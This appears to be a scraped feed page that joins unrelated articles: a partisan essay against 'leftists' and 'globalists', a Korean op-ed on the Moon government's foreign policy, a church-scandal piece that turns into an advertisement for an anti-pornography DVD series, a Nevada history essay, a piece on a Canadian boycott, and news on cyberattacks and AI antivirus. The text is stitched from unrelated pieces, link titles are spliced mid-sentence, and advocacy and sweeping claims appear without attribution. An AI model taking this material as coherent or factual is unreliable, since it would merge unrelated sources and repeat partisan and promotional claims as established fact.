We can judge an individual for his behavior predicated on evidence, but no one on Earth is devoid of bias, and no one on Earth has the omnipotent wisdom required to dole out punishment or prizes to an entire subculture of people en masse.

Those leftists with good intentions desire a world without suffering. This is perhaps a noble thing. Unfortunately, that world does not exist and never will. There will always be inequality of outcome because not all people are equal in ability or willpower. I realize that leftists have been brainwashed into thinking that all people are equally capable, if not completely the same in every imaginable way. But, believing this does not make it fact.

The best we can hope for is the freedom to pursue prosperity as individuals, but in their pursuit of total equality, leftists are encouraging the erasure of individual freedom and opportunity. They believe that what is best for the individual is for him to sacrifice his individualism for the sake of the mob made up of the lowest common denominator. When one understands that the mob is morally relative, that it has no soul or conscience, this suggestion sounds like madness. And frankly, it is madness.

Needless to say, the collectivist thinking of leftists makes them easy prey for sociopathic global elites.  However, to be fair, conservatives are also targeted for manipulation exactly because they present the most viable threat to the success of globalism as construct.

How Conservatives View The World

While the political left is essentially going off the deep end into the errors of zealotry, conservatives are also not immune to ideological blindness. It is no secret that I view the conservative position as far superior to that of the left — I will summarize the strengths of this position as briefly as possible so that we can get to the more important issue of weaknesses.

The left sees the world as a complex Gordian Knot that must be chopped in half and meticulously untangled until all is made equal. Conservatives see society’s problems as much simpler - Each individual’s problems are his own. Each individual must work hard to elevate himself and to solve his problems without taking from other people in the process. Each person is an island, and while we might ally with each other at times, we are not permanently tied to each other in some kind of endless symbiotic relationship. As the Non-Aggression Principle outlines, you leave me alone, and I’ll leave you alone, and as long as no one is attempting to steal from others, enslave others or murder others I will remain quiet and peaceful.

The conservative dynamic goes wrong, though, when conservatives abandon their foundational principles for the sake of winning a fight against an imminent threat.

As leftists worship the mob and government power, conservatives tend to worship heroes, some of them false prophets. Conservatives are always desperately searching for the man on the white horse to lead them to the promise land. They are always looking for another messiah.  And in this they make themselves weak.

What they should be emulating are their principles and heritage alone. Only principles and truths matter, because they are eternal.  They do not corrupt like people can.  But let the right showman or mascot come along reciting the correct rhetoric in a rousing way, and many conservatives become putty in the hands of the political elites.

I believe this is owed to the problem of organization that conservatives suffer from. Individualists do not always agree on everything and normally abhor group think. The political right grows frustrated at how easy it is for leftists to congeal into an effective mob, and the tyranny of the majority is horrifying to the average conservative. So, in response conservatives seek out unifying leaders, people that appear to hold the same values and who conservatives can pour all their hopes and dreams for the future into. When this happens, group think can and does spread like a cancer through the political right.

When conservatives hyper-focus on leadership, they unwittingly centralize and become easily controlled. Globalists can either co-opt the leader or they can destroy the leader and thus the hopes of all the people that were invested in him. They can use the leader as a placebo, making conservatives sit idle waiting around for things to change when they should be taking action themselves.  And, globalists can also tie all the perceived or real blunders of that leader around the necks of his political base; meaning, conservatives can be conned into rallying around a false prophet and then when he falls from grace, all conservative thought falls from grace as well.

When conservatives bottleneck all their efforts and energy into a single leader, they set themselves up for failure. Organization does not need to be pursued from the top down. It can be built from the ground up in a decentralized way. When conservatives ignore their own principles and start centralizing, some very ugly things can happen. Zealotry is not only a vice of leftists. I remember the insanity of the Iraq War, for example, and in that event I saw self-proclaimed conservatives acting like the very mob they used to despise. This happened because they were frightened by what they perceived as an imminent threat and sought out leadership in all the wrong places instead of thinking critically.

The two sides of the political spectrum are a fact of life (unless of course the globalists get their way and replace everything with their own brand of moral relativism). One side is often used against the other to illicit a self-destructive response. Understanding where each side is coming from helps us to remain vigilant and to avoid exploitation by the powers that be.

          한국 정부의 ‘외교 정책’, 부끄러움은 왜 우리 몫일까      Cache   Translate Page   Web Page Cache   
문재인 정부가 들어선 후 국민들로부터 가장 큰 지지를 받고 있는 분야는 아무래도 외교 및 통일 정책일 것이다. 여러 우여곡절이 있지만 남북정상회담과 북미정상회담을 거치며 한반도를 평화의 방향으로 이끌어가고 있는 것은 칭찬할만한 일이다.



그러나 한반도 정책을 제외한 다른 분야에서 문재인 정부는 과거 정부와 별다른 차이를 보여주지 못하고 있다. 오히려 신남방정책은 ‘사람, 번영, 평화’라는 원칙이 무색할 정도로 그 취지가 잘 보이지 않는다.

올해 한국을 방문한 외국 정상들을 보자. 터키의 에르도안 대통령과 필리핀의 두테르테 대통령이 대표적이다. 야당과 쿠르드족을 탄압하고 철권통치를 펴는 에르도안 대통령에 대한 국제사회의 우려와 비판은 끊임없이 계속되고 있다. 두테르테 대통령의 반인권적 철권통치도 이미 널리 알려진 바다. 특히 그는 한국 방문 당시 열렸던 교민행사에서 여성에게 키스를 강요해 논란이 되기도 했다. 아무리 외교가 실익적 측면을 고려한다 하더라도 계엄령이 계속되고 국민들을 억압하는 두테르테에게 헬기를 팔기 위해 방위사업청장이 공항까지 나가 영접하는 모습은 신남방정책이 표방하는 ‘사람’과 ‘평화’가 무엇을 의미하는지 의구심을 갖게 한다.



최근 문재인 대통령이 방문한 인도도 마찬가지다. 인도의 모디정부는 경제적 성과를 앞세워 집권을 이어나가고 있지만 시민사회와 노동조합에 대한 탄압으로 악명이 높다. 특히, 문재인 대통령과 이재용 삼성전자 부회장이 조우한 삼성 휴대폰 공장에는 최저임금도 받지 못하는 계약직 노동자들이 천명이나 일하고 있다. 이 공장에서 노조를 결성하려 했던 노동자들이 해고됐다는 인도노총의 주장1)도 있다.



지난 2005년부터 인도 오디사주의 포스코 제철소 사업을 둘러싼 논란이 이어졌다. 포스코는 인도뿐만 아니라 국제사회에서도 기업 이미지 실추라는 큰 대가를 지불했다. 포스코의 실수를 되풀이하지 않기 위해서라도, 그리고 경제적 이익만이 아니라 인도 사람들의 마음을 움직이기 위해서라도, 문 대통령이 인도 진출 한국기업의 노동, 인권, 환경기준 준수를 언급하는 것이 신남방정책의 원칙에 부합하는 일이었다.



결과적으로 한국기업의 이익확대에만 초점을 맞추고 있는 신남방정책 뿐만 아니라 유엔에서도 문재인 정부는 국제사회의 기대에 미치지 못하고 있다. 지난 6월 13일 열린 유엔 총회 제10차 긴급 특별 세션에서 한국 정부는 팔레스타인 민간인 보호를 위한 결의안(A/ES-10/L.23)에 기권했다. 한국은 지속적으로 팔레스타인 관련 결의안에 기권을 하고 있는데 최근 팔레스타인에서 자행되고 있는 학살의 심각성을 고려하면 민간인 보호를 위한 결의안에도 기권하는 모습은 부끄럽기까지 하다. 남북관계를 고려해 트럼프의 눈치를 봐야한다는 항변을 할지도 모르지만 120개 찬성국가에 일본의 이름이 올라가 있는 것은 어떻게 설명할 것인가?2)



  강경화 외교부 장관은 지난 6월 25일 아세안 10개 회원국 대표부 대사와 신남방정책 이행에 대해 협의했다. [출처: 외교부]


유엔 인권최고대표 사무소의 부대표 출신인 강경화 외교부 장관의 취임 이후, 시민사회는 한국외교가 과거와는 다른 민주주의와 인권에 대한 확고한 철학을 가지고 국제사회에서 촛불혁명을 성취한 국가다운 모습을 보여주기를 기대했다. 그러나 아무리 트럼프 행정부와의 밀접한 관계유지가 중요하다 하더라도 지금까지 문재인 정부는 외교정책에서 국제사회의 기대에 부합하는 모습을 보여주지 못하고 있다. 이러한 모습은 결과적으로 한반도 평화정책에도 부정적인 영향을 끼칠 수밖에 없다. 자국에서 반인권 정책을 펼치고 있는 트럼프 행정부가 추진하는 북미 평화정책에 대해 미국 민주당과 인권단체들이 북한 인권문제를 거론하는 것도 단순한 어깃장으로만 치부해서는 안 된다. 한국정부가 뚜렷한 민주주의와 인권을 원칙으로 하는 정책들을 보여줘야만 미국을 포함한 국제사회의 한반도 평화에 대한 지지도 얻어낼 수 있다.



현재도 난민 인정률이 국제사회 평균에 훨씬 못 미치는데도, 고작 500명이 난민이 들어왔다고 난민심사를 강화하겠다는 법무부의 발표는 과연 한국이라는 나라가 국제사회의 일원으로서 책임감을 가지고 있는지 묻게 한다. 난민을 혐오하고 독재자들을 거리낌 없이 초대하고, 자국 기업의 열악한 노동조건에 침묵하면서, 우리 상품을 많이 사주길, 그리고 우리의 평화를 지지해주기만을 요청하는 것은 얌체 같은 일이다.



이젠 촛불혁명이 아니라 얼마나 한국이 인권활동가들에게 지원을 베풀었고, 난민을 포용했으며, 일정 정도의 손해를 감수하더라도 민주주의와 인권의 원칙에 충실했는지, 그리고 한국기업들의 인권침해 방지를 위해 노력했는지에 대해 자랑하고 싶다. 신남방정책을 포함해 과연 한국외교가 지향하고 있는 원칙은 무엇인지 지금이라도 문재인 정부는 재검토해야 한다. 지금까지 보여준 모습은 부끄러움 말고는 없다.[워커스 45호]

          What the Church Should Learn From the Bill Hybels Scandal      Cache   Translate Page   Web Page Cache   

Once again, a well-known pastor is making headlines across the country. And, as is too often the case, the story is about sexual misconduct and even sexual abuse.

Bill Hybels, the founder of Chicago's Willow Creek megachurch, was accused by former church employee Pat Baranowski of inappropriate sexual conduct and abuse during the 1980s.

This is not the first time Hybels has been the subject of such claims. In March, Hybels had been accused by several women of inappropriate behavior that occurred several decades earlier. n April, he announced to his congregation that he would speed up his planned retirement by six months and resign immediately.

Two investigations, one by the church and the other by an outside lawyer, cleared Hybels of those claims. But Baranowski's accounts are more serious and indicate Hybel's behavior was ongoing and not an isolated incident. In light of these recent allegations, Willow Creek has vowed to conduct another investigation.

It is important to understand that church leaders are human, and they face the same struggles as everyone else. Pastors are held to a higher standard than anyone else, so when they fall, they fall hard. Sadly, in many situations where a church leader has a moral failing, they are publicly shamed and shafted by the church. This forces leaders who are struggling to keep silent and continue in their downward spiral of destruction. Churches must have in place discipleship to prevent this from happening, and a process of healing for when it does occur.

A Troubling Pattern

Hybels is just one of many ministers to be accused of sexual misconduct. Since the 1980s, preachers such as Jimmy Swaggert, Andy Savage and Ted Haggard have been involved in sex scandals.

Catholic priests, including a number of cardinals, have also been involved in well-known sexual abuse charges around the world.

But it is not just the high-profile stories that are alarming. Many smaller churches have had to deal with similar situations. One denomination reports that in 2016, more than half of minister dismissals involved male pastors engaging in inappropriate sexual behavior.

The Reaction Has Been Intense

Women are breaking their silence. On Nov. 21, following in the path of the #MeToo movement, #ChurchToo was started. The hashtag collects stories of sexual abuse, harassment and other related misconduct by church leaders.

Andy Savage victim Jules Woodson, said, "We as a church, of all places, should be getting this right. It's unfathomable to me that the secular world, Hollywood, is taking a stand. The church should have been the first group to stand up and say, 'We will not allow this.'"

Bryan Born, president of Columbia Bible College, noted, "The church should be out ahead on the issue of sexual misconduct, and not lagging behind."

Is Pornography Involved in This Problem?

But pornography doesn't have any connection to actual abuse, does it? Actually, it does.

For example, Baranowski mentions porn in her account about Hybels. President Reagan had appointed James Dobson, the founder of Focus on the Family, to his anti-pornography commission.

Baranowski alleges that Hybels made her rent pornography videos and watch them with him.

According to author Jessica Harris, "Let's recognize the movement for what it really is. It is not a war on men, but a call to change a culture shaped by exploitation. To change that, we have to talk about how we view sex. How we consume sex, and how we, ultimately, consume each other. Pornography is very much a part of this conversation. If we ignore that, we'll be living through a #metoo cycle every 12-15 years."

How the Church Must Change

Church leaders must realize that the subject of sex cannot be avoided and ignored. Sermons that tiptoe around sexual addiction and sexual abuse are no longer acceptable. What was once taboo to speak about is now talked about everywhere.

Pornography is an epidemic around the world, and it is an underlying factor in most sexual crimes and misconduct. With over 50 percent of pastors struggling with pornography, the church is in desperate need for sexual discipleship to break the trend of abuse.

Harris writes "Other groups have shown how porn fuels a culture of sexual violence and how pornography ties in with sexual exploitation. I don't think it's too far of a stretch to say the stories we are seeing now are influenced in part by a culture in which pornography consumption is OK."

Men cannot just claim that sexual abuse is merely a "women's issue" any longer.

Author and speaker Eugene Hung said,

"No, men, it is our issue. We are the main cause. We need to own it, take responsibility for it, and change the way we teach and model masculinity for men and boys so that this evil stops."

The church must address these issues now. And it must start by helping men break free from porn addiction and renewing their minds.

Change Starts at the Top

If true change is going to take place, it must begin with the church leaders, starting at the top.

Beth Backes, director of pastoral care at Northwest Ministry Network, explains,

"The Barna Group reports that even though pornography use is at epidemic rates, 93 percent of pastors admitted not having adequate ministries in place to help those who are struggling. There is a link between online porn addiction and crimes against women. Addressing the root of sexual brokenness is a crucial step for the church."

Thankfully there is a growing number of churches who are taking pornography and sex abuse seriously. For example, Southland Church in Steinbach, Canada made a decision to provide sexual discipleship for their congregation, taking 1,300 men through the Conquer Series. The Conquer Series is a cinematic study that has been helping men find freedom in thousands of churches in over 75 countries. But it has largely been men within the church who have made it happen.

Now it must come from the leaders, especially the pastors. Church leadership should lead the way and go through the Conquer Series together. Then they will be in a position to lead their men to victory.

It is not enough for recovery to simply be a side ministry of the church for a couple of men to meet together. In many churches, it is not only the men in the pews that need help, but also the leaders.

The Conquer Series Helps Men Break Free From Porn

The Conquer Series was developed to help men struggling with pornography to find freedom. Each of the 12 cinematic DVDs contains powerful teachings, insightful information from leading medical and counseling professionals, and challenging testimonies.

Study guides and a personal journal help the men grow and stay focused on achieving a porn-free life.

Order the Conquer Series today to begin the process of setting men free from porn addiction.

From the taming of the ‘Wild West’ to the lucrative wages of sin.
In October 1864, with the nation embroiled in civil war, the world’s longest telegram was dispatched west to east across the United States. Its content was the Constitution of Nevada and it was an urgent transmission: the Constitution – required for Nevada Territory to become a state – had originally been sent to Washington by post, but had not arrived. Anticipating Nevadan support, the incumbent president, Abraham Lincoln, was keen to grant statehood in time for a crucial election on 8 November, a deadline met with just days to spare on 31 October. This picture essay takes Nevada as a case study in which many of the broader themes of US history have played out: the taming of the ‘Wild West’; the displacement of native peoples; the pursuit of wealth; exploitation of the land; freedom and the federal system; the Atomic Age; boosters, bravado and, in the leisure pursuits for which the state enjoys notoriety, the lucrative wages of sin.THE STATE OF THINGSNevada’s statehood was controversial: according to the Northwest Ordinance of 1783, states required a population of at least 60,000. Nevada had under half that figure and many of its settlements – such as Ruby Hill, pictured above – were mining towns vulnerable to boom and bust. Destroyed by a storm in 1910, Ruby Hill became one of the state’s ghost towns. In the early 20th century, with population falling, critics questioned whether Nevada merited representation in Congress. Other calls to revoke statehood centred on questions of decency – or Nevada’s lack of it.FEELING LUCKY?‘Luck has shaped Nevada’, as the historian Michael Green puts it. Gambling is near synonymous with the state, but the original Constitution prohibited it, along with theatres, racetracks and cockfighting. Hoping to win big, the state legalised gambling in 1931, just as other states (including neighbouring California) were clamping down on it. The bright lights of Las Vegas were among its winnings.FADING FRONTIERFor those people for whom the New World was indeed new, Nevada was an arid, mountainous expanse of land to be crossed – often as quickly as possible. In the 16th century, the Spanish found nothing of interest in Nevada, which they named for the snowy mountain range which would later prove an obstacle to ‘Manifest Destiny’ – the 19th-century belief that America’s settlers were destined to expand across the continent. In 1846, pioneers trying to reach California, known as the Donner Party, became stranded in the Sierra Nevada, resorting to cannibalism to survive.THIS LAND IS YOUR LANDNevada has been described as ‘a laboratory for how Americans define freedom’. When settlers arrived, the land’s native peoples broadly comprised the Northern and Southern Paiute, Washoe and Western Shoshone people. In 1860, the Pyramid Lake War was fought between allied native forces and victorious US Army-backed settlers, who had been exerting their freedom by usurping Paiute grazing land and disrupting food supplies.GOD’S OWN COUNTRYFounded by Joseph Smith in New York in 1830, the Church of Jesus Christ of Latter Day Saints – the Mormons – were among Nevada’s earliest settlers, moving beyond then-US borders under the leadership of the ‘Mormon Moses’, Brigham Young. Built in 1855, the Mormon fort at Las Vegas is Nevada’s oldest surviving building. The Church established colonies throughout the ‘Mormon Corridor’, but with mass settlement came statehood and a ban on certain Mormon practices – see poster.THE HAND THAT FEEDSNevada’s history might seem driven by the illusion of luck, but the development of its infrastructure was not down to chance. Michael Green identifies another Nevada tradition: ‘supporting limited government while craving federal dollars to fund infrastructure and generate jobs’. The state’s highways – which, like the railway in the late 1860s, transformed the state, facilitating new towns and tourism – are one example of how Nevada has benefited from federal funds. In 1916 the Federal Aid Road Act encouraged states to establish a highway department by offering to match spending on new roads. Nevada spent $10 million on highway construction in 1926, partly funded by a gasoline tax. Grander federal projects followed.ROARING THIRTIESArguably the most recognisable project undertaken during President Roosevelt’s New Deal public works programme, the Hoover Dam – dubbed the ‘eighth wonder of the world’ – was built between 1931 and 1936 on the Colorado River at the Arizona-Nevada border. Boulder City, a federal town built by the government, was created to house the workers (whose wages were often spent in nearby Las Vegas). Surprisingly, the Great Depression could be seen as a boom period for Nevada, which received more money from the New Deal per resident than any other state.MOTHER LODEDiscovery of the Comstock Lode is a defining moment in Nevada’s history. A rich source of silver ore, it generated almost $300 million in the decades following 1859, earning Nevada its nickname ‘the Silver State’. Thousands of miners (and other entrepreneurs) arrived in the nearby boomtown, Virginia City; as the saying goes, fortunes could also be made ‘selling shovels’.MAN’S WORLDThe mining influx was overwhelmingly male. Pictured here, singer and dancer Fanny Hanks died in November 1893. Her obituary reveals a harsh story of boom and bust: ‘In her palmy days enthusiastic miners used to throw her gold’, but, ‘she married John Woodard, a worthless gambler, who was killed when he was found beating her’. Her popularity waning, she ‘lost her money in stocks’.ATOMICIn the 1950s, the US government began testing atomic weapons in Nevada. The first was dropped in 1951; 100 more would be tested at the Nevada Test Site before the explosions began to be detonated underground. The effect of the tests severely damaged Nevada’s relationship with the federal government, forging a legacy of mistrust: the increase of cases of cancer in local communities sat at odds with the government’s denial that bomb testing was dangerous.HEAVEN OR LAS VEGASLas Vegas first bloomed with dollars spent by workers on the nearby Hoover Dam. After they left, it was promoted as a frontier town with slogans like ‘The Old West in Modern Splendor’. The first resort opened on ‘the Strip’ – a stretch of road outside city limits – was El Rancho in April 1941. The rustic frontier image was soon eclipsed – under the influence of mobster ‘Bugsy’ Siegel – by the (gaudy) glitz which attracted Hollywood stars, the Rat Pack – and millions of less famous tourists.FOR A GOOD TIME, NOT A LONG TIMEWhat do André Breton, Jack Dempsey, Rita Hayworth, Bela Lugosi, General Douglas MacArthur, Norman Rockwell and Orson Welles have in common? They were all divorced in Reno. In the 20th century Nevada legitimised – and made unique selling points – of its insalubrious characteristics: this postcard reveals some of its various tourist lures. After 1931, divorce in Nevada required just six weeks’ residency in the state; more than enough time to enjoy the city’s other attractions.

          Canadians try to boycott American-made food products      Cache   Translate Page   Web Page Cache   

A funny thing happened along the way as Canadians decided to start a boycott against American-made groceries. It turns out that so many Canadian food products are made in America that consumers don’t even realize how much is actually coming from their neighbors to the south.

A perceived one-two punch to Canadians delivered from the Trump administration has the “Canada-nice” reputation in jeopardy. The usually easy-going Canadians are downright angry about the tariffs levied on Canadian steel and other products. Then, adding insult to injury, President Trump mocked Canadian Prime Minister Justin Trudeau as “very dishonest and weak” at the G-7 summit in his own country.

A hashtag-worthy movement began as Canadians began calling for consumers to #BuyCanadian, #BoycottUSProducts, and #BoycottUSA. There is a catch, though. Up to 60% of the food on Canadian grocery store shelves is from America. Average Canadian consumers don’t know what products are and are not made in Canada. Not so easy, eh?

The country is the U.S.’s top export market, taking a little more than 18% of all U.S. goods that are sold abroad. Sylvain Charlebois, a professor in food distribution and policy at Dalhousie University in Nova Scotia, estimates roughly 40% to 60% of food on Canada’s grocery shelves is from the U.S. Closely linked production chains make it tough to determine how much of any given item was produced domestically.

That has left would-be boycotters scratching their heads as they untangle how much of a given product was made or grown outside the country.

Even when a food product is technically produced in Canada, the actual food comes from America. For example, sweet potatoes aren’t grown in Canada’s climate so the source of frozen sweet potato fries is America.

Susan Quinn-Mullins, a semiretired communications professional from Burlington, Ontario, said she turned to the frozen-food section of her local grocery store when she couldn’t find Canadian-grown sweet potatoes. Canadian food giant McCain Foods Ltd. makes sweet-potato fries, but the package said the potatoes were grown in the U.S., Ms. Quinn-Mullins said.

“I’m now becoming slightly radical about this,” said Ms. Quinn-Mullins, who skipped the fries and is still on the hunt for Canadian sweet potatoes.

A spokeswoman for McCain said its sweet potatoes are sourced from the U.S., where the climate is better for growing them.

Interesting development there. So far, the boycott efforts aren’t proving very fruitful. The movement is young but the sheer amount of goods exported from America is daunting.

It is difficult to say whether the nascent boycott efforts are having an impact. Goods exports to Canada were up nearly 4% in June from the same month last year, according to the U.S. Census Bureau. However, they were down 1.2% when compared with the previous month on a seasonally adjusted basis.

Some companies have wised up and jumped on the bandwagon to promote Canadian products by displaying the Canadian flag on labels. This is a sound marketing decision. I know that when I lived in south Louisiana, a push for locals to buy authentic Cajun products spurred companies to label their products as such on labels. For me, it helps when I shop for frozen crawfish, for example. Chinese crawfish importers can have very deceptive labeling. I buy crawfish from the Gulf of Mexico, not China.

So, what about the idea of boycotting travel to America for vacation? That idea isn’t showing as much support or enthusiasm.

One sector where the boycott efforts doesn’t seem to be working is travel. Overall cross-border car trips by Canadians were up 12.7% in June from the same month last year, according to Statistics Canada.

Canadians like to virtue-signal and illegal immigration is one of their favorite issues to drag the Trump over. Nevermind that even Justin Trudeau has now admitted that unlimited access to Canada via an open border approach on his side of the border isn’t such a great idea. Resources are being stretched thin.

Most of the migrants entering Canada from America are exploiting a loophole in the Safe Third Country Agreement. The Safe Third Country Agreement spells out that asylum seekers must make their claim in the country in which they first arrived. But that only applies when claims are made at official border ports of entry. If, however, asylum seekers reach Canadian territory by avoiding ports of entry, they become entitled to stay while their claims are processed. That is because of Canada’s Charter of Rights and Freedoms and because Canada is a signatory of the U.N. Refugee Convention. In this way, claimants knowingly avoid return to the U.S. and are placing a strain on Canadian federal, provincial and municipal resources.

In the absence of a mitigating policy, illegal migrants crossing the U.S.-Canada border will increasingly consume resources previously meant to help process overseas immigrants. Canadian citizens who seek to bring their family members into the country will be delayed. Employers who seek to bring over skilled workers will not be able to do so. Investors who want to come to Canada to start businesses and grow the Canadian economy will be pushed aside.

It turns out that when Canadians are planning some vacation travel to America, the decision becomes a bit murkier than in the past. With good deals to be had for summer travel, for example, family trips aren’t being sacrificed in the name of sticking it to President Trump.

Despite all the boycott talk, the number of Canadians returning from overnight trips in the U.S. has actually grown by six per cent, on a seasonally adjusted basis, since Trump’s inauguration.

Western Canadians, in particular, are flocking across the border in larger and larger numbers, with double-digit increases recorded in B.C., Alberta and Saskatchewan over that same time.

The individual pocketbook always wins in the end. Who is going to pass up a quick trip over the border for a baseball game or an easy weekend trip at a good price just to make a statement over an American policy that won’t be affected anyway? Canadians are practical in their outrage.

Time will tell how effective the boycotting of American good turns out. In the meantime, I’ll leave you with a list of goods affected by  Canadian tariffs launched in a tit-for-tat retaliation.

Manufacturing industry at greater risk of cyberattacks

Manufacturing businesses are seeing higher-than-normal rates of cyberattack-related reconnaissance and lateral movement activity.

This is due to the convergence of IT with IoT devices and Industry 4.0 initiatives, according to a new report from AI-powered attack detection specialists Vectra .

"The interconnectedness of Industry 4.0-driven operations, such as those that involve industrial control systems, along with the escalating deployment of industrial internet-of-things (IIoT) devices, has created a massive, attack surface for cybercriminals to exploit," says Chris Morales, head of security analytics at Vectra.

State affiliated attackers accounted for 53 percent of attacks on manufacturing, according to the according to the 2018 Verizon Data Breach Industry report. The most common types of data stolen were personal (32 percent), secrets (30 percent) and credentials (24 percent).

Analysis of data from Vectra's Cognito threat detection and hunting platform shows a much higher volume of malicious internal behaviors in manufacturing, which is a strong indicator that attackers are already inside the network. There is also an unusually high volume of reconnaissance behavior, which indicates that attackers are mapping out manufacturing networks in search of critical assets. A high level of lateral movement is another strong indicator that the attack is proliferating inside the network.

The study shows a growth in data smuggling -- where an internal host device controlled by an outside attacker acquires a large amount of data from one or more internal servers and then sends a payload to an external system -- between January and June too.

More detail is available in the full report , available from the Vectra website.

          These 4 Antivirus Tools Are Using AI to Protect Your System      Cache   Translate Page   Web Page Cache   

The future of antivirus protection is exciting. Much like our cars, trains, and boats, the future of antivirus runs on artificial intelligence. AI technology is one of the fastest growing sectors around the world and security researchers are continually evaluating and integrating the technology into their consumer products.

Consumer antivirus products with AI or machine learning elements are appearing thick and fast. Does your next antivirus subscription need to include AI, or is it just another security buzzword? Let’s take a look.

Traditional Antivirus vs. AI Antivirus

The term “artificial intelligence” once conjured fantastical images of futuristic technology, but AI is now a reality. To understand what AI antivirus is, you need to understand how traditional antivirus works.

Traditional Antivirus

A traditional antivirus uses file and data signatures, and pattern analysis to compare potential malicious activity to previous instances. That is, the antivirus knows what the malicious file looks like, and can move swiftly to stop those files from infecting your system, should you pick one up. That’s a very basic explanation. You can read more about how it works and what scans to use right here The 3 Types of Antivirus Scans and When to Use Each One The 3 Types of Antivirus Scans and When to Use Each One Scanning your system with an antivirus program is important for keeping your system secure. But which type of antivirus scan should you use? Full, Quick, or Custom? Read More .

The antivirus on your system works well, don’t get me wrong. However, the number of malware attacks continues to rise, and security researchers regularly discover extremely advanced malware variants, such as Mylobot What Is Mylobot Malware? How It Works and What to Do About It What Is Mylobot Malware? How It Works and What to Do About It Every so often, a truly new malware strain appears. Mylobot is a perfect example. Learn more about what it is, why it's dangerous, and what to do about it. Read More . Furthermore, some traditional or legacy antivirus solutions cannot compete with advanced threats such as the devastating WannaCry ransomworm The Global Ransomware Attack and How to Protect Your Data The Global Ransomware Attack and How to Protect Your Data A massive cyberattack has struck computers around the globe. Have you been affected by the highly virulent self-replicating ransomware? If not, how can you protect your data without paying the ransom?

A new ransomware variant, Petya, has been cracked by an irate victim. This is a chance to get one over on the cybercriminals, as we show you how to unlock your ransomed data. Read More .

As the threat landscape shifts, so must the antivirus detection mechanisms.

AI Antivirus

AI antivirus (or in some cases, machine learning―more on this distinction in a moment) works differently. There are a few different approaches, but AI antivirus learns about specific threats within its network environment and executes defensive activities without prompt.

AI and machine learning antivirus leverage sophisticated mathematical algorithms combined with the data from other deployments to understand what the baseline of security is for a given system. As well as this, they learn how to react to files that step outside that window of normal functionality.

Machine Learning vs. Artificial Intelligence

Another important distinction in the future of antivirus is between machine learning algorithms and artificial intelligence. The two words are sometimes used interchangeably but are not the same thing.

Artificial Intelligence (AI): AI refers to programs and machines that execute tasks with the characteristics of human intelligence Google Duplex Will Identify Itself as an AI Google Duplex Will Identify Itself as an AI Google Duplex was quite the talking point at I/O 2018, with serious morality questions being asked about the AI. However, Google has now made it clear Duplex will identify itself as not human. Read More , including problem-solving, forward planning, and learning. Broadly speaking, machines that can carry out human tasks in a manner we consider “intelligent.” Machine Learning (ML): ML refers to a broad spectrum of the current applications of AI technologies focusing on the idea that machines with data access and the correct programming can learn for themselves. Broadly speaking, machine learning is a means to an end for achieving AI What Is Machine Learning? Google's Free Course Breaks It Down for You What Is Machine Learning? Google's Free Course Breaks It Down for You Google has designed a free online course to teach you the fundamentals of machine learning. Read More .

Machine learning and AI are deeply intertwined, and you can see how the terms see occasional misuse. The difference in meaning with regards to antivirus is an important distinction. Most (if not all) of the latest antivirus suites implement some form of machine learning, but some algorithms are more advanced than others.

Machine learning in antivirus technologies isn’t new. It is getting more intelligent, and is easier to use as a marketing tool now that the wider public is more aware of ML and AI.

How Security Companies Use AI in Antivirus

There are a few antivirus solutions that use advanced algorithms to protect your system, but the use of true AI is still rare. Still, there are several antivirus tools with excellent AI and ML implementations that show how the security industry is evolving to protect you from the latest threats.

1. Cylance Smart Antivirus

Cylance is a well-known name in machine learning and artificial intelligence cybersecurity. The enterprise-grade CylancePROTECT uses AI-techniques to protect a huge number of businesses, and they count several Fortune 100 organizations among their clientele. Cylance Smart Antivirus is their first foray into consumer antivirus products, bringing that enterprise-level AI protection into your home.

Cylance Smart Antivirus relies entirely on AI and ML to distinguish malware from legitimate data. The result is an antivirus that doesn’t bog your system down by constantly scanning and analyzing files. ( Or informing you of its status every 15-minutes Top Free Antivirus Apps Without Nag Screens and Bloatware Top Free Antivirus Apps Without Nag Screens and Bloatware Nagging antivirus apps are a huge pain. You don't have to put up with them, even for free. Here are the best antivirus programs that don't come with popups or bundled junk. Read More .) Rather, Cylance Smart Antivirus waits until the moment of execution and immediately kills the threat―without human intervention.

“Consumers deserve security software that is fast, easy to use, and effective,” said Christopher Bray, senior vice president, Cylance Consumer. “The consumer antivirus market is long overdue for a ground-breaking solution built on robust technology that allows them to control their security environment.”

Thanks for the shout out @sawaba I can vouch that the primary reason we launched Cylance Smart Antivirus is because our customers have told us they’ve grown frustrated with everything on the market now.

― Hiep Dang (@Hiep_Dang) June 19, 2018

Smart Antivirus does, however, have some downsides. Unlike other antivirus suites with active monitoring, Cylance Smart Antivirus allows you to visit potentially malicious sites. I assume this is confidence that the product will stop malicious downloads, but it doesn’t protect against phishing attacks or similar threats.

A single Cylance Smart Antivirus license costs $29 per year , while a $69 household pack lets you install on five different systems.

2. Deep Instinct D-Client

Deep Instinct uses deep learning (a machine learning technique) to detect “any file before it is accessed or executed” on your system. The Deep Instinct D-Client makes use of static file analysis in conjunction with a threat prediction model that allows it to eliminate malware and other system threats autonomously.

Deep Instinct’s D-Client uses vast quantities of raw data to continue improving its detection algorithms. Deep Instinct is one of the only companies with private deep learning infrastructure dedicated to improving their detection accuracy, too.

3. Avast Free Antivirus

For most people, Avast is a familiar name in security. Avast Free Antivirus is the most popular antivirus on the market, and its history of protections goes back decades. Avast Free Antivirus has been “using AI and machine learning for years” to protect users from evolving threats. In 2012, the Avast Research Lab announced three powerful backend tools for their products.

The “Malware Similarity Search” allows almost instantaneous categorization of huge samples of incoming malware. Avast Free Antivirus quickly analyzes similarities between existing malware files using both static and dynamic analysis. “Evo-Gen” is similar “but a bit subtler in nature.” Evo-Gen is a genetic algorithm that works to find short and generic descriptions of malware in massive datasets. “MDE” is a database that works on top of the indexed data, allowing heavy parallel access.

These three machine learning technologies collectively evolved as the foundation for Avast’s CyberCapture .

CyberCapture is a core feature of the Avast security suite, specifically targeting unknown malware and zero-days. When an unknown suspicious file enters a system, CyberCapture activates and immediately isolates the host system. The suspect file automatically uploads to an Avast cloud server for data analysis. Afterwards, the user receives a positive or negative notification regarding the status of the file. All the while, your data is feeding back into the algorithms to define further and enhance yours and others’ system security.

4. Windows Defender Security Center

The Windows Defender Security Center for enterprise and business solutions will receive a phenomenal boost as Microsoft turns to artificial intelligence to bulk out its security. The 2017 WannaCry ransomworm ripped through Windows systems Prevent WannaCry Malware Variants by Disabling This Windows 10 Setting Prevent WannaCry Malware Variants by Disabling This Windows 10 Setting WannaCry has thankfully stopped spreading, but you should still disable the old, insecure protocol it exploited.

